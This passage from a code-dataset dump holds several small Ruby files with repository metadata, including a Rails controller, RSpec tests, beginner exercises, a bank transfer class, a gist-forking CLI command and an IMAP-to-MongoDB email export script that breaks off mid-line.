end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1160,"cells":{"blob_id":{"kind":"string","value":"7a74d323f7bb3d1e11226523c888784d727b8fe5"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"githubtest96/Ani-Test"},"path":{"kind":"string","value":"/app/controllers/sessions_controller.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1420,"string":"1,420"},"score":{"kind":"number","value":2.578125,"string":"2.578125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"class SessionsController < ApplicationController\n def index\n @sessions = Session.order(start_date: :desc).all\n end\n\n def new\n @cinemas = Cinema.order(name: :desc).all\n end\n\n def create\n _start_date = DateTime.parse(params[:startDate])\n _cinemaId = params[:cinemaId]\n _hall_id = params[:hallId]\n _film_id = params[:filmId]\n _hall_sessions = Session.where(cinema_id: _cinemaId, hall_id: _hall_id).select(:start_date)\n _film = Film.find(_film_id)\n _end_date = get_session_end_date(_start_date, _film.duration)\n\n if is_start_date_valid(_start_date, _end_date, _hall_sessions)\n _newSession = Session.create(cinema_id: _cinemaId, hall_id: _hall_id, film_id: _film_id, start_date: _start_date)\n end\n end\n\n private\n def is_start_date_valid(_start_date, _end_date, _hall_sessions)\n\n _hall_sessions.each do |session|\n _session_end_date = get_session_end_date(session.start_date, session.film.duration)\n if (_start_date > session.start_date && _start_date < _session_end_date) || (_end_date > session.start_date && _end_date < _session_end_date)\n return false\n end\n end\n\n return true\n end\n\n def get_session_end_date(_start_date, _duration)\n _duration_hour = _duration.hour\n _duration_min = _duration.min + 15\n _end_date = _start_date + _duration_hour.hours + _duration_min.minutes\n\n return _end_date\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1161,"cells":{"blob_id":{"kind":"string","value":"915eb4142c535b0e1f21a892af55bc40d5a5b694"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"degica/openlogi"},"path":{"kind":"string","value":"/spec/openlogi/base_object_spec.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1816,"string":"1,816"},"score":{"kind":"number","value":2.71875,"string":"2.71875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"require \"spec_helper\"\n\nclass DummyObject < Openlogi::BaseObject\n property :bar\nend\n\ndescribe Openlogi::BaseObject do\n describe \".new\" do\n it \"issues warning about attributes not defined as properties on object\" do\n expect_any_instance_of(DummyObject).to receive(:warn).once.with(\"foo is not a property of DummyObject and will be ignored.\")\n object = DummyObject.new(foo: \"foo\", bar: \"bar\")\n end\n end\n\n describe \"#valid?\" do\n it \"returns true if object has no error\" do\n object = Openlogi::BaseObject.new(error: nil)\n expect(object.valid?).to eq(true)\n end\n\n it \"returns false if object has an error\" do\n object = Openlogi::BaseObject.new(error: \"validation_failed\")\n expect(object.valid?).to eq(false)\n end\n\n it \"returns true if object has empty errors\" do\n object = Openlogi::BaseObject.new(errors: {})\n expect(object.valid?).to eq(true)\n end\n\n it \"returns true if object errors is nil\" do\n object = Openlogi::BaseObject.new({})\n expect(object.valid?).to eq(true)\n end\n\n it \"returns false if object has errors\" do\n object = Openlogi::BaseObject.new(errors: { \"name\" => [ \"Already exist\" ] })\n expect(object.valid?).to eq(false)\n end\n end\n\n describe \"#errors\" do\n it \"returns errors object with full messages\" do\n object = Openlogi::BaseObject.new(errors: {\n \"identifier\" => [\"order noを指定しない場合は、identifierを指定してください。\"],\n \"order_no\" => [\"identifierを指定しない場合は、order noを指定してください。\"]\n })\n expect(object.errors.full_messages).to eq(\"order noを指定しない場合は、identifierを指定してください。identifierを指定しない場合は、order noを指定してください。\")\n end\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1162,"cells":{"blob_id":{"kind":"string","value":"6a31f6a469b27b5ad792a581f39b8e3da3552ecc"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"Joanf81/citytalk"},"path":{"kind":"string","value":"/app/models/articles/article.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":564,"string":"564"},"score":{"kind":"number","value":2.5625,"string":"2.5625"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"module Articles\n\tclass Article < ApplicationRecord\n\n\t\thas_many :article_editions\n\t\thas_many :users, through: :article_editions\n\n\t\tvalidates :article_editions, length: { minimum: 1 }\n\n\t\tattr_accessor :picture\n\t\tattr_accessor :content\n\n\t\tdef article_owner\n\t\t\tarticle_editions.first.user\n\t\tend\n\n\t\tdef is_article_owner? user\n\t\t\tarticle_owner == user\n\t\tend\n\n\t\tdef last_edition\n\t\t\tarticle_editions.last\n\t\tend\n\n\t\tdef picture\n\t\t\tlast_edition.picture\n\t\tend\n\n\t\tdef content\n\t\t\tlast_edition.content\n\t\tend\n\n\t\tdef last_modification_date\n\t\t\tlast_edition.created_at\n\t\tend\n\tend\nend"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1163,"cells":{"blob_id":{"kind":"string","value":"bff2df978e5a9c8e547393dac23b18cdbc19dc9e"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"r-osoriobarra/desafios_hashes_01-06-21"},"path":{"kind":"string","value":"/ejercicio_propuesto.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":314,"string":"314"},"score":{"kind":"number","value":3.390625,"string":"3.390625"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"#ejercicio propuesto\n\n100.times do |e|\n num = e+1\n if num % 3 == 0\n if num % 5 == 0\n pp \"#{num} es divisible por ambos\"\n else\n pp \"#{num} es divisible por 3\"\n end\n elsif num % 5 == 0\n pp \"#{num} es divisible por 5\"\n else\n pp \"#{num}\"\n end\nend"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1164,"cells":{"blob_id":{"kind":"string","value":"53daf41e11f01d84c96753c20738c4855b392702"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"GoBeyond87/URI-Ruby"},"path":{"kind":"string","value":"/1008.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":161,"string":"161"},"score":{"kind":"number","value":2.921875,"string":"2.921875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"# frozen_string_literal: true\r\n\r\nf = gets.to_i\r\nh = gets.to_i\r\nv = gets.to_f\r\n\r\ns = h * v\r\n\r\nputs \"NUMBER = #{f}\"\r\nprint 'SALARY = U$ '\r\nputs format('%.2f', s)\r\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1165,"cells":{"blob_id":{"kind":"string","value":"ce45fe4b4dd1e0cd526bd6932597b42cbca82068"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"oguratakayuki/code_test"},"path":{"kind":"string","value":"/ruby/basis/dump_test.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":463,"string":"463"},"score":{"kind":"number","value":3.59375,"string":"3.59375"},"int_score":{"kind":"number","value":4,"string":"4"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"class Hoge\n attr_accessor :name\n def initialize\n @name = 'hoge'\n end\nend\n\n\n#h = Hoge.new\n#c_name = h.name\n#\n##破壊的メソッドを使うと書き換わる\n#h.name.replace('piyo')\n#puts c_name\n#\n#\n#\n#h2 = Hoge.new\n#c_name2 = h2.name.dup\n#\n##これは大丈夫\n#h2.name.replace('piyo')\n#puts c_name2\n\n\n\n\n\nh =Hoge.new\nh2 =h\nh3 =h.dup\nputs h.object_id\nputs h2.object_id\nputs h3.object_id\n\nputs h.name.object_id\nputs h2.name.object_id\nputs h3.name.object_id\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1166,"cells":{"blob_id":{"kind":"string","value":"df40450afe5ac2bcce44968f7f8fde1ebd03407d"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"PikachuEXE/stale_options"},"path":{"kind":"string","value":"/lib/stale_options/abstract_options.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":2611,"string":"2,611"},"score":{"kind":"number","value":2.796875,"string":"2.796875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"module StaleOptions\n class AbstractOptions\n # Params:\n # +record+:: +Object+:: An +Object+, +Array+ or +ActiveRecord::Relation+.\n # +options+:: +Hash+::\n # * +:cache_by+::\n # * +String+ or +Symbol+::\n # A name of method which returns unique identifier of object for caching.\n #\n # For arrays and relations if value is +itself+, then it will be cached as it is,\n # otherwise this method will be called on each element.\n # Relations will be converted to arrays by calling #to_a.\n #\n # Hint: To cache an array of \"simple\" objects (e.g. +String+ or +Numeric+) set it to +itself+.\n # Default: +:updated_at+.\n # * +:last_modified+::\n # * +String+ or +Symbol+::\n # If +record+ is a relation, then an attribute name.\n # If +record+ is an +Array+ or +Object+, then a method name.\n # Expected an instance of +ActiveSupport::TimeWithZone+, +DateTime+, +Time+.\n # * +ActiveSupport::TimeWithZone+, +DateTime+, +Time+ or +nil+::\n # To set +last_modified+.\n # Default: +:updated_at+.\n def initialize(record, options = {})\n @record = record\n @options = {\n cache_by: :updated_at,\n last_modified: :updated_at\n }.merge!(options)\n end\n\n # Returns options for ActionController::ConditionalGet#stale?\n def to_h\n { etag: etag, last_modified: nil }.tap do |h|\n unless last_modified_opt.nil?\n h[:last_modified] = StaleOptions.time?(last_modified_opt) ? last_modified_opt : last_modified\n h[:last_modified] = h[:last_modified]&.utc\n end\n end\n end\n\n private\n\n def cache_by_opt\n @options[:cache_by]\n end\n\n def cache_by_itself?\n cache_by_opt.to_s == 'itself'\n end\n\n def read_cache_by(obj)\n value = obj.public_send(cache_by_opt)\n\n StaleOptions.time?(value) ? value.to_f : value\n end\n\n def last_modified_opt\n @options[:last_modified]\n end\n\n def read_last_modified(obj)\n obj.public_send(last_modified_opt)\n end\n\n def object_hash(obj)\n Digest::MD5.hexdigest(Marshal.dump(obj))\n end\n\n def collection_hash(collection)\n object_hash(collection.map { |obj| read_cache_by(obj) })\n end\n\n protected\n\n def etag\n raise NotImplementedError\n end\n\n def last_modified\n raise NotImplementedError\n end\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1167,"cells":{"blob_id":{"kind":"string","value":"72c25a34c158032e4c555d28e2494e1b19e8aac8"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"dowism/Coding"},"path":{"kind":"string","value":"/Ruby5-8/evenmoreHashPractice.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":2708,"string":"2,708"},"score":{"kind":"number","value":4.5,"string":"4.5"},"int_score":{"kind":"number","value":4,"string":"4"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"=begin\nIn this lesson you will take the scattered lines of\nthis code and reconstruct it into a program that does the following\n1. tells the user what is going to happen\n2. collects the users classes until they are done\n3. collects the users HW for each class.\n4. then allows the use to view their hw, change their hw, add a class, or quit.\n\nReflection questions\n1. how do you store a value for a key in an object?\n2. Why is the case method best here? compare with if/elif statements\n3. why is the first loop started with until false? How does the user get out of that loop?\n4. why do we use the .has_key? command in one of the cases?\n\n\nThere is one new method in this program: The case method.\nyou use it when there are a few different possibilities for a particular object, and for each possibility you want their to be a different action taken by the computer. So you tell the computer what object you are trying to evaluate and give a bunch of options for what to do depending on that that object is.\n\ncase object\nwhen condition\n then something happens\nwhen condition\n then something happens\nwhen condition\n then something happens\nwhen condition\n then something happens\nend\n\n\n=end\n\nclasses = Hash.new(\"NO HW\")\n\nputs \"You are going to be keeping track of your HW using this program \\n\nwhen you are done with any task type done and you will move onto the next task\"\n\nuntil false\n\n puts \"Add a class\"\n userinput = gets.chomp\n\n if userinput == \"done\"\n break\n end\n\n classes[userinput]=[]\n puts \"You now have #{classes}\"\n\nend\n\n puts \"Now you are going to put in what HW you have for your class\"\n\n\nclasses.each do |session,hw|\n puts \"In #{session} write your HW\"\n classhw = gets.chomp\n classes[session]=classhw\n puts \"Your hw in #{session} is to do #{classhw}\"\n\nend\n\nuntil false\n\n puts \"What do you want to do? \\n Add a class: Type Add \\n change HW: Type Change\\n Quit: Type Quit\\n To check you HW: Type check\"\n userinput=gets.chomp\n case userinput\n\n when \"add\"\n#add how they would add a class\n puts \"Add a class\"\n userinput = gets.chomp\n classes[userinput]=[]\n puts \"You now have #{classes}\"\n\n\n when \"change\"\n#add how they would change the hw in a class, check to make sure the class exists first\n puts \"Which class would you like to change HW in?\"\n changeHW=gets.chomp\n if !classes.has_key?(changeHW)\n puts \"That class does not exist\"\n end\n if classes.has_key?(changeHW)\n puts \"What is the HW in #{changeHW}:\"\n newHW=gets.chomp\n classes[changeHW]=newHW\n end\n\n when \"check\"\n classes.each do |session,hw|\n puts \"in #{session} you have #{hw}\"\n end\n\n when \"quit\"\n #break out of this loop when they quit\n break\n\n end\n\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1168,"cells":{"blob_id":{"kind":"string","value":"f2ce25d65ef92e170c4579d1046978c5d6f29542"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"pete3249/oo-banking-onl01-seng-pt-052620"},"path":{"kind":"string","value":"/lib/transfer.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1456,"string":"1,456"},"score":{"kind":"number","value":3.375,"string":"3.375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["LicenseRef-scancode-unknown-license-reference","LicenseRef-scancode-public-domain"],"string":"[\n \"LicenseRef-scancode-unknown-license-reference\",\n \"LicenseRef-scancode-public-domain\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"require 'pry'\n\nclass Transfer\n attr_accessor :status\n attr_reader :sender, :receiver, :amount\n\n def initialize(sender, receiver, amount)\n @sender = sender\n @receiver = receiver\n @amount = amount\n @status = \"pending\"\n end \n\n def valid?\n if self.sender.valid? && self.receiver.valid?\n return true \n else\n return false\n end\n end\n\n def execute_transaction\n if self.valid? && self.status == \"pending\" && sender.balance >= amount\n sender.balance = sender.balance - amount\n receiver.balance = receiver.balance + amount\n self.status = \"complete\"\n else \n self.status = \"rejected\"\n \"Transaction rejected. Please check your account balance.\"\n end \n end \n\n def reverse_transfer\n if self.status == \"complete\"\n sender.balance = sender.balance + amount\n receiver.balance = receiver.balance - amount\n self.status = \"reversed\"\n end \n end \n\nend\n\n# describe '#reverse_transfer' do\n# it \"can reverse a transfer between two accounts\" do\n# transfer.execute_transaction\n# expect(amanda.balance).to eq(950)\n# expect(avi.balance).to eq(1050)\n# transfer.reverse_transfer\n# expect(avi.balance).to eq(1000)\n# expect(amanda.balance).to eq(1000)\n# expect(transfer.status).to eq(\"reversed\")\n# end\n\n# it \"it can only reverse executed transfers\" do\n# transfer.reverse_transfer\n# expect(amanda.balance).to eq(1000)\n# expect(avi.balance).to eq(1000)"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1169,"cells":{"blob_id":{"kind":"string","value":"942ca033878e36836c01e7d3253cd9bb5a513d7f"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"ewansheldon/leap-year-kata"},"path":{"kind":"string","value":"/spec/year_spec.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":575,"string":"575"},"score":{"kind":"number","value":3.109375,"string":"3.109375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require './lib/year'\n\ndescribe 'leap_year?' do\n it 'returns false if year is not divisible by 4' do\n year = Year.new(1997)\n expect(year.leap_year?).to equal(false)\n end\n\n it 'returns true if year is divisible by 4' do\n year = Year.new(1996)\n expect(year.leap_year?).to equal(true)\n end\n\n it 'returns true if year is divisible by 400' do\n year = Year.new(1600)\n expect(year.leap_year?).to equal(true)\n end\n\n it 'returns false if year is divisible by 100, but not 400' do\n year = Year.new(1800)\n expect(year.leap_year?).to equal(false)\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1170,"cells":{"blob_id":{"kind":"string","value":"4a56c42be7a00222256eef8caa36508872d26b6e"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"charleswang234/Two-Player-Math-Game"},"path":{"kind":"string","value":"/main.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":745,"string":"745"},"score":{"kind":"number","value":3.671875,"string":"3.671875"},"int_score":{"kind":"number","value":4,"string":"4"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"\nclass Player\n\n def initialize(name, lives)\n @name = name\n @lives = lives\n end\n\nend\n\nclass Question\n attr_accessor :num1, :num2, :sum\n\n def initialize()\n @num1 = generate_random\n @num2 = generate_random\n @sum = total_sum\n end\n\n def generate_random\n rand(1..20)\n end\n\n def total_sum\n self.num1 + self.num2\n end\n\n def prompt\n puts \"What does #{num1} plus #{num2} equal?\"\n end\n\n def new_question\n num1 = generate_random\n num2 = generate_random\n sum = total_sum\n end\n\nend\n\nclass Turn\n attr_accessor :\n def initialize()\n @player_ask\n @player_ans\n @answer\n end\n\n def get_answer()\n\n end\n\nend\n\n\nplayer1 = Player.new(\"Player 1\", 3)\nplayer2 = Player.new(\"Player 2\", 3)\nquestion = Question.new()\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1171,"cells":{"blob_id":{"kind":"string","value":"26ef6c766360486006d4a5aa09f2b699e83586d8"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"nikhilbelchada/family-tree"},"path":{"kind":"string","value":"/spec/command_spec.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":2881,"string":"2,881"},"score":{"kind":"number","value":2.953125,"string":"2.953125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require 'command.rb'\nrequire 'command/add.rb'\nrequire 'command/relation.rb'\nrequire 'command/search.rb'\n\nrequire 'relation.rb'\nrequire 'relation/father.rb'\nrequire 'relation/mother.rb'\nrequire 'relation/child.rb'\nrequire 'relation/sibling.rb'\n\nRSpec.describe Command do\n describe \"is_valid?\" do\n context \"add\" do\n it \"should return true if valid\" do\n expect(Command.is_valid?(\"add juno male\")).to eq true\n end\n\n it \"should return false if not valid\" do\n expect(Command.is_valid?(\"addjuno male\")).to eq false\n end\n end\n\n context \"relation\" do\n it \"should return true if valid\" do\n expect(Command.is_valid?(\"juno as father of uno\")).to eq true\n expect(Command.is_valid?(\"juno as mother of uno\")).to eq true\n expect(Command.is_valid?(\"juno as daughter of uno\")).to eq true\n expect(Command.is_valid?(\"juno as son of uno\")).to eq true\n expect(Command.is_valid?(\"juno as sister of uno\")).to eq true\n expect(Command.is_valid?(\"juno as brother of uno\")).to eq true\n end\n\n it \"should return false if not valid\" do\n expect(Command.is_valid?(\"juno as dono of uno\")).to eq false\n end\n end\n\n describe \"get_command_from\" do\n context \"add\" do\n it \"should get command class\" do\n expect(Command.get_command_from(\"add juno male\")).to eq Command::Add\n expect(Command.get_command_from(\"add \")).to eq Command::Add\n end\n\n it \"should get nil if invalid text\" do\n expect(Command.get_command_from(\"add\")).to eq nil\n end\n end\n\n context \"relation\" do\n it \"should get command class\" do\n expect(Command.get_command_from(\"juno as father of uno\")).to eq Command::Relation\n expect(Command.get_command_from(\"juno as mother of uno\")).to eq Command::Relation\n expect(Command.get_command_from(\"juno as son of uno\")).to eq Command::Relation\n expect(Command.get_command_from(\"juno as daughter of uno\")).to eq Command::Relation\n expect(Command.get_command_from(\"juno as sister of uno\")).to eq Command::Relation\n expect(Command.get_command_from(\"juno as brother of uno\")).to eq Command::Relation\n end\n\n it \"should get nil if invalid text\" do\n expect(Command.get_command_from(\"juno father of uno\")).to eq nil\n end\n end\n\n context \"search\" do\n it \"should get command class\" do\n expect(Command.get_command_from(\"get all daughters of juno\")).to eq Command::Search\n expect(Command.get_command_from(\"get siblings of juno\")).to eq Command::Search\n expect(Command.get_command_from(\"get daughters of juno\")).to eq Command::Search\n end\n\n it \"should get nil if invalid text\" do\n expect(Command.get_command_from(\"all daughter of juno\")).to eq nil\n end\n end\n end\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1172,"cells":{"blob_id":{"kind":"string","value":"7b311d2387c4c6362142efd0f064d78c8f892966"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"mark/shard"},"path":{"kind":"string","value":"/lib/shard/cli/fork.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1343,"string":"1,343"},"score":{"kind":"number","value":2.71875,"string":"2.71875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"module Shard::CLI\n\n class Fork\n\n ################\n # #\n # Declarations #\n # #\n ################\n \n attr_reader :ref\n\n ###############\n # #\n # Constructor #\n # #\n ###############\n \n def initialize(shard_line)\n @ref = Shard::Ref(shard_line)\n end\n\n #################\n # #\n # Class Methods #\n # #\n #################\n \n def self.run(shard_line)\n new(shard_line).run\n end\n\n ####################\n # #\n # Instance Methods #\n # #\n ####################\n \n def run\n if ref.nil?\n puts \"That is not a valid shard reference.\"\n return\n end\n\n if Shard::Credentials.saved? && Shard::Credentials.valid?\n fork_shard\n else\n puts \"You are not currently logged into Github.\"\n Shard::CLI::Config.run\n\n if Shard::Credentials.saved?\n run\n end\n end\n end\n\n private\n\n def fork_shard\n lister = Shard::Lister.new(ref.user)\n shard = lister.shards[ref.name]\n\n if shard\n puts \"Forking #{ ref.user }/#{ ref.name }...\"\n Shard.api.fork_gist(shard.id)\n else\n puts \"That is not a valid shard reference.\"\n end\n end\n\n end\n\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1173,"cells":{"blob_id":{"kind":"string","value":"a6a3ab9954b8182c7cc148ff251828a72554043f"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"thebravoman/software_engineering_2013"},"path":{"kind":"string","value":"/class7_homework/test_Kiril_Kostadinov.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":479,"string":"479"},"score":{"kind":"number","value":2.53125,"string":"2.53125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require 'csv'\n\nCSV.open(\"Kiril_Kostadinov_test_data/result.csv\", \"w\") do |csv|\n\tDir.glob(\"*.rb\") do |program|\n\t\tnext if program[0..3] == test\n\t\t`mkdir test`\n\t\t`ruby #{program} Kiril_Kostadinov_test_data/28.srt Kiril_Kostadinov_test_data/out.txt`\n\t\tresult = `diff Kiril_Kostadinov_test_data/out.txt Kiril_Kostadinov_test_data/Kiril_Kostadinov.txt`\n\t\tresult.gsub!(/[\\n\\r]/, \"\")\n\t\tif result == \"\"\n\t\t\tcsv << [file, result, true]\n\t\telse\n\t\t\tcsv << [file, result, false]\n\t\tend\n\tend\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1174,"cells":{"blob_id":{"kind":"string","value":"548dd6580481ba87066f332d3a6bcb36b7579889"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"zedtran/PrinciplesOfProgrammingLangs"},"path":{"kind":"string","value":"/Ruby_LexicalAnalyzer/TinyToken.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":752,"string":"752"},"score":{"kind":"number","value":3.484375,"string":"3.484375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"#\n# Class Token - Encapsulates the tokens in TINY\n#\n# @type - the type of token\n# @text - the text the token represents\n#\nclass Token\n attr_accessor :type\n attr_accessor :text\n\n EOF = \"eof\"\n LPAREN = \"(\"\n RPAREN = \")\"\n WS = \"whitespace\"\n ADDOP = \"+\"\n MINUSOP = \"-\"\n MULTOP = \"*\"\n DIVOP = \"/\"\n EQUALOP = \"=\"\n NUMBER = \"number\"\n ALPHABET = \"letter\"\n PRINT = \"print\"\n ID = \"unassigned\"\n\n#add the rest of the tokens needed based on the grammar\n#specified in the Scanner class \"TinyScanner.rb\"\n\n def initialize(type,text)\n @type = type\n @text = text\n end\n\n def get_type\n return @type\n end\n\n def get_text\n return @text\n end\n\n def to_s\n # return \"[Type: #{@type} || Text: #{@text}]\"\n return \"#{@text}\"\n end\nend\n\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1175,"cells":{"blob_id":{"kind":"string","value":"1f9d64e9af7f1685d1c8aaaf7c4ac6447eb20f55"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"jkoomjian/MyEmailResponseRate"},"path":{"kind":"string","value":"/email2db.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":3748,"string":"3,748"},"score":{"kind":"number","value":2.734375,"string":"2.734375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"#!/usr/bin/env ruby\nrequire 'net/imap'\nrequire 'mongo'\nrequire 'date'\ninclude Mongo\n\n############################################\n# This script copies emails from gmail and\n# inserts them into a mongo db\n# modified from: http://wonko.com/post/ruby_script_to_sync_email_from_any_imap_server_to_gmail\n############################################\n\n\n# Mail server connection info.\nSOURCE_HOST = 'imap.gmail.com'\nSOURCE_PORT = 993\nSOURCE_SSL = true\n\n# Get all messages\nFOLDER = '[Gmail]/All Mail'\n\n# By default get all messages from the last month\n$date_end = (DateTime.now + 1).strftime(\"%-d-%b-%Y\")\n# end date should be much longer than 1 mo. If a user responded to an old email\n# that email should be in the db\n$date_start = (DateTime.now - 51).strftime(\"%-d-%b-%Y\")\n\n# Maximum number of messages to select at once.\nUID_BLOCK_SIZE = 1024\n$synced = 0\n\n\n#---------------- Utility Methods -----------------------#\ndef uid_fetch_block(server, uids, *args)\n pos = 0\n\n while pos < uids.size\n server.uid_fetch(uids[pos, UID_BLOCK_SIZE], *args).each {|data| yield data }\n pos += UID_BLOCK_SIZE\n end\nend\n\ndef s_ary(ary)\n return ary ? ary.map{|x| x.to_s} : []\nend\n\n\n#---------------- Mongo Methods -----------------------#\ndef init_mongo\n # connect, will create db, collection if they don't exist\n $db = MongoClient.new(\"localhost\", 27017).db(\"my_email_response_rate\")\n $coll = $db.collection(\"email_collection\")\n #clean the database\n $coll.drop()\nend\n\ndef insert_msg(jsmsg)\n id = $coll.insert(jsmsg)\nend\n\n\n#---------------- Mail Methods -----------------------#\n# simplify Address\nclass Net::IMAP::Address\n def to_s\n return \"#{self.mailbox}@#{self.host}\"\n end\nend\n\ndef print_msg(msg)\n puts msg.seqno\n puts msg.attr['UID']\n # puts msg.attr['RFC822']\n puts msg.attr['INTERNALDATE']\n puts msg.attr['FLAGS']\n puts msg.attr['ENVELOPE'].date\n puts msg.attr['ENVELOPE'].subject\n puts msg.attr['ENVELOPE'].from\n puts msg.attr['ENVELOPE'].to\n puts msg.attr['ENVELOPE'].cc\n puts msg.attr['ENVELOPE'].bcc\n puts msg.attr['ENVELOPE'].in_reply_to\n puts msg.attr['ENVELOPE'].message_id\nend\n\ndef msg_to_json(msg)\n subject = msg.attr['ENVELOPE'].subject\n return {\n 'seqno' => msg.seqno,\n 'uid' => msg.attr['UID'],\n 'internaldate' => msg.attr['INTERNALDATE'],\n 'flags' => msg.attr['FLAGS'],\n 'date' => msg.attr['ENVELOPE'].date,\n 'subject' => msg.attr['ENVELOPE'].subject,\n 'from' => s_ary(msg.attr['ENVELOPE'].from),\n 'to' => s_ary(msg.attr['ENVELOPE'].to),\n 'cc' => s_ary(msg.attr['ENVELOPE'].cc),\n 'bcc' => s_ary(msg.attr['ENVELOPE'].bcc),\n 'in_reply_to' => msg.attr['ENVELOPE'].in_reply_to,\n 'message_id' => msg.attr['ENVELOPE'].message_id,\n 'is_reply' => !!(subject && subject.match(/^Re:/i))\n }\nend\n\ndef run()\n # puts 'Connecting...'\n source = 